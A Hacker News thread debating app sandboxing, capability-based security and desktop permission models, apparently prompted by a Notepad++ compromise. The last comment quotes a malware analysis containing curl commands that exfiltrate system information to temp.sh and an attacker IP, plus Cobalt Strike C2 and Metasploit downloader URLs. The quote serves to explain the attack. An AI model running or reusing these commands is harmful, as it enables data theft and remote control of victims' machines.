← Back to context

Comment by ashishb

23 days ago

I am running a lot of tools inside sandbox now for exactly this reason. The damage is confined to the directory I'm running that tool in.

There is no reason for a tool to implicitly access my mounted cloud drive directory and browser cookies data.

MacOS has been getting a lot of flak recently for (correct) UI reasons, but I honestly feel like they're the closest to the money with granular app permissions.

Linux people are very resistant to this, but the future is going to be sandboxed iOS style apps. Not because OS vendors want to control what apps do, but because users do. If the FOSS community continues to ignore proper security sandboxing and distribution of end user applications, then it will just end up entirely centralised in one of the big tech companies, as it already is on iOS and macOS by Apple.

  • It also has persistent permissions.

    Think about it from a real world perspective.

    I knock on your door. You invite me to sit with you in your living room. I can't easily sneak into your bed room. Further, your temporary access ends as soon as you exit my house.

    The same should happen with apps.

    When I run 'notepad dir1/file1.txt', the package should not sneakily be able to access dir2. Further, as soon as I exit the process, the permission to access dir1 should end as well.

    • A better example would be requiring the mailman to obtain written permission to step on your property every day. Convenience trumps maximal security for most people.

      4 replies →

    • Attempt at real life version (starts with idea they are actually not trustworthy)

        - You invite someone to sit in your living room
          - There must have been a reason to begin with (or why invite them at all)
          - Implied (at least limited) trust of whoever was invited
        - Access enabled and information gained heavily depends on house design
          - May have to walk past many rooms to finally reach the living room
          - Significant chances to look at everything in your house
          - Already allows skilled appraiser to evaluate your theft worthiness
        - Many techniques may allow further access to your house
          - Similar to digital version (leave something behind)
            - Small digital object accessing home network
            - "Sorry, I left something, mind if I search around?"
          - Longer con (advance to next stage of "friendship" / "relationship", implied trust)
            - "We should hang out again / have a cards night / go drinking together / ect..."
            - Flattery "Such a beautiful house, I like / am a fan of <madlibs>, could you show it to me?"
        - Already provides a survey of your home security
          - Do you lock your doors / windows?
          - What kind / brand / style do you have?
          - Do you tend to just leave stuff open?
          - Do you have onsite cameras or other features?
          - Do you easily just let anybody into your house who asks?
          - General cleanliness and attention to security issues
      
        - In the case of Notepad++, they would also be offering you a free product
          - Significant utility vs alternatives
          - Free
          - Highly recommended by many other "neighbors"
        - In the case of Notepad++, they themselves are not actively malicious (or at least not known to be)
          - Single developer
          - Apparently frazzled and overworked by the experience
          - Makes updates they can, yet also support a free product for millions.
          - It doesn't really work with the friend you invite in scenario (more like they sneezed in your living room or something)

    • > When I run 'notepad dir1/file1.txt', the package should not sneakily be able to access dir2.

      What happens if the user presses ^O, expecting a file open dialog that could navigate to other directories? Would the dialog be somehow integrated to the OS and run with higher permissions, and then notepad is given permissions to the other directory that the user selects?

      4 replies →

  • > Linux people are very resistant to this

    Because security people often does not know the balance between security and usability, and we end up with software that is crippled and annoying to use.

  • I think we could get a lot further if we implement proper capability based security. Meaning that the authority to perform actions follows the objects around. I think that is how we get powerful tools and freedom, but still address the security issues and actually achieve the principle of least privilege.

    For FreeBSD there is capsicum, but it seems a bit inflexible to me. Would love to see more experiments on Linux and the BSDs for this.

    • FreeBSD used to have an ELF target called "CloudABI" which used Capsicum by default. Parameters to a CloudABI program were passed in a YAML file to a launcher that acquired what was in practice the program's "entitlements"/"app permissions" as capabilities that it passed to the program when it started.

      I had been thinking of a way to avoid the CloudABI launcher. The entitlements would instead be in the binary object file, and only reference command-line parameters and system paths. I have also thought of an elaborate scheme with local code signing to verify that only user/admin-approved entitlements get lifted to capabilities.

      However, CloudABI got discontinued in favour of WebAssembly (and I got side-tracked...)

      Redox is also moving towards having capabilities mapped to fd's, somewhat like Capsicum. Their recent presentation at FOSDEM: https://fosdem.org/2026/schedule/event/KSK9RB-capability-bas...

  • > Linux people are very resistant to this, but the future is going to be sandboxed iOS style apps.

    Linux people are NOT resistant to this. Atomic desktops are picking up momentum and people are screaming for it. Snaps, flatpaks, appimages, etc. are all moving in that direction.

    As for plain development, sadly, the OS developers are simply ignoring the people asking. See:

    https://github.com/containers/toolbox/issues/183

    https://github.com/containers/toolbox/issues/348

    https://github.com/containers/toolbox/issues/1470

    I'll leave it up to you to speculate why.

    Perhaps getting a bit of black eye and some negative attention from the Great Orange Website(tm) can light a fire under some folks.

  • Yet we look at phones, and we see people accepting outrageous permissions for many apps: They might rely on snooping into you for ads, or anything else, and yet the apps sell, and have no problem staying in stores.

    So when it's all said and done, I do not expect practical levels of actual isolation to be that great.

    • > Yet we look at phones, and we see people accepting outrageous permissions for many apps

      The data doesn't support the suggestion that this is happening on any mass scale. When Apple made app tracking opt-in rather than opt-out in iOS 14 ("App Tracking Transparency"), 80-90% of users refused to give consent.

      It does happen more when users are tricked (dare I say unlawfully defrauded?) into accepting, such as when installing Windows, when launching Edge for the first time, etc. This is why externally-imposed sandboxing is a superior model to Zuck's pinky promises.

      1 reply →

    • For all its other problems, App Store review prevents a lot of this: you have to explain why your app needs entitlements A, B and C, and they will reject your update if they don't think your explanation is good enough. It's not a perfect system, but iOS applications don't actually do all that much snooping.

  • Sand-boxing such as in Snap and Flatpak?

    • Snap and Flatpak do both sandboxing and package management.

      You can use the underlying sandboxing with bwrap. A good alternative is firejail. They are quite easy to use.

      I prefer to centralize package management to my distro, but I value their sandboxing efforts.

      Personally, I think it's time to take sandboxing seriously. Supply chain attacks keep happening. Defense is depth is the way.

    • Notoriously not actually secure, at least in the case of Flatpak. (Can't speak to Snap)

      Not sure how something can be called a sandbox without the actual box part. As Siri is to AI, Flatpak is to sandboxes.

      6 replies →

  • It's truly perverse that, at the same time that desktop systems are trying to lock down what trusted, conventional native apps can and cannot do and/or access, you have the Chrome team pushing out proposals to expand what browsers allow websites to do to the user's file system, like silently/arbitrarily reading and writing to the user's disk—gated only behind a "Are you sure you want to allow this? Y/N"-style dialog that, for extremely good reasons, anyone with any sense about design and interaction has strongly opposed for the last 20+ years.

  • I intensely hate that a stupid application can modify .bashrc and permanently persist itself.

    Sure, in theory, SELinux could prevent this. But seems like an uphill battle if my policies conflict with the distro’s. I’d also have to “absorb” their policies’ mental model first…

    • I tend to think things like .bashrc or .zshrc are bad ideas anyways. Not that you asked but I think the simpler solution is to have those files be owned by root and not writable by the user. You're probably not modifying them that often anyways.

  • > getting a lot of slack recently

    I think you mean a lot of flak? Slack would kind of be the opposite.

    • Haha, yes, corrected. Thank you. I have a habit of fusing unrelated expressions.

  • I'm sure that will contribute to the illusion of security, but in reality the system is thoroughly backdoored on every level from the CPU on up, and everyone knows it.

    There is no such thing as computer security, in general, at this point in history.

    • > but in reality the system is thoroughly backdoored on every level from the CPU on up, and everyone knows it.

      Indeed. Why lock your car door as anyone can unlock and steal it by learning lock-picking?

      1 reply →

    • There's a subtlety that's missing here: if your threat model doesn't include the actors who can access those backdoors, then computer security isn't so bad these days.

      That subtlety is important because it explains how the backdoors have snuck in — most people feel safe because they are not targeted, so there's no hue and cry.

      2 replies →

    • I'm sure you're right; however, there is still a distinction between the state using my device against me and unaffiliated or foreign states using my device against me or more likely simply to generate cash for themselves.

      It's still worth solving one of these problems.

      1 reply →

I almost feel like this should just be the default action for all applications. I don't need them to escape out of a defined root. It's almost like your documents and application are effectively locked together. You have to give permissions for an app to extra data from outside of the sandbox.

Linux has this capability, of course. And it seems like MacOS prompts me a lot for "such and such application wants to access this or that". But I think it could be a lot more fine-grained, personally.

  • I've been arguing for this for years. There's no reason every random binary should have unfettered, invisible access to everything on my computer as if it were me.

    iOS and Android both implement these security policies correctly. Why can't desktop operating systems?

    • The short answer is tech debt. The major mobile OSes got to build a new third party software platform from day 0 in the late 2000s, one which focused on and enforced priorities around power consumption and application sandboxing from the getgo etc.

      The most popular desktop OSes have decades of pre-existing software and APIs to support and, like a lot of old software, the debt of choices made a long time ago that are now hard/expensive to put right.

      The major desktop OSes are to some degree moving in this direction now (note the ever increasing presence of security prompts when opening "things" on macOS etc etc), but absent a clean sheet approach abandoning all previous third party software like the mobile OSes got, this arguably can't happen easily over night.

    • Mobile platforms are entirely useless to me for exactly this reason, individual islands that don't interact to make anything more generally useful. I would never use any os that worked like that, it's for toys and disposable software only imo.

      4 replies →

running apps in a sandbox is ok, but remember to disable internet access. A text editor should not require it, and can be used to exfiltrate the text(s) you're editing.

    When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:

    3 Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
    4 Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202

--

    The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.

--

    The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin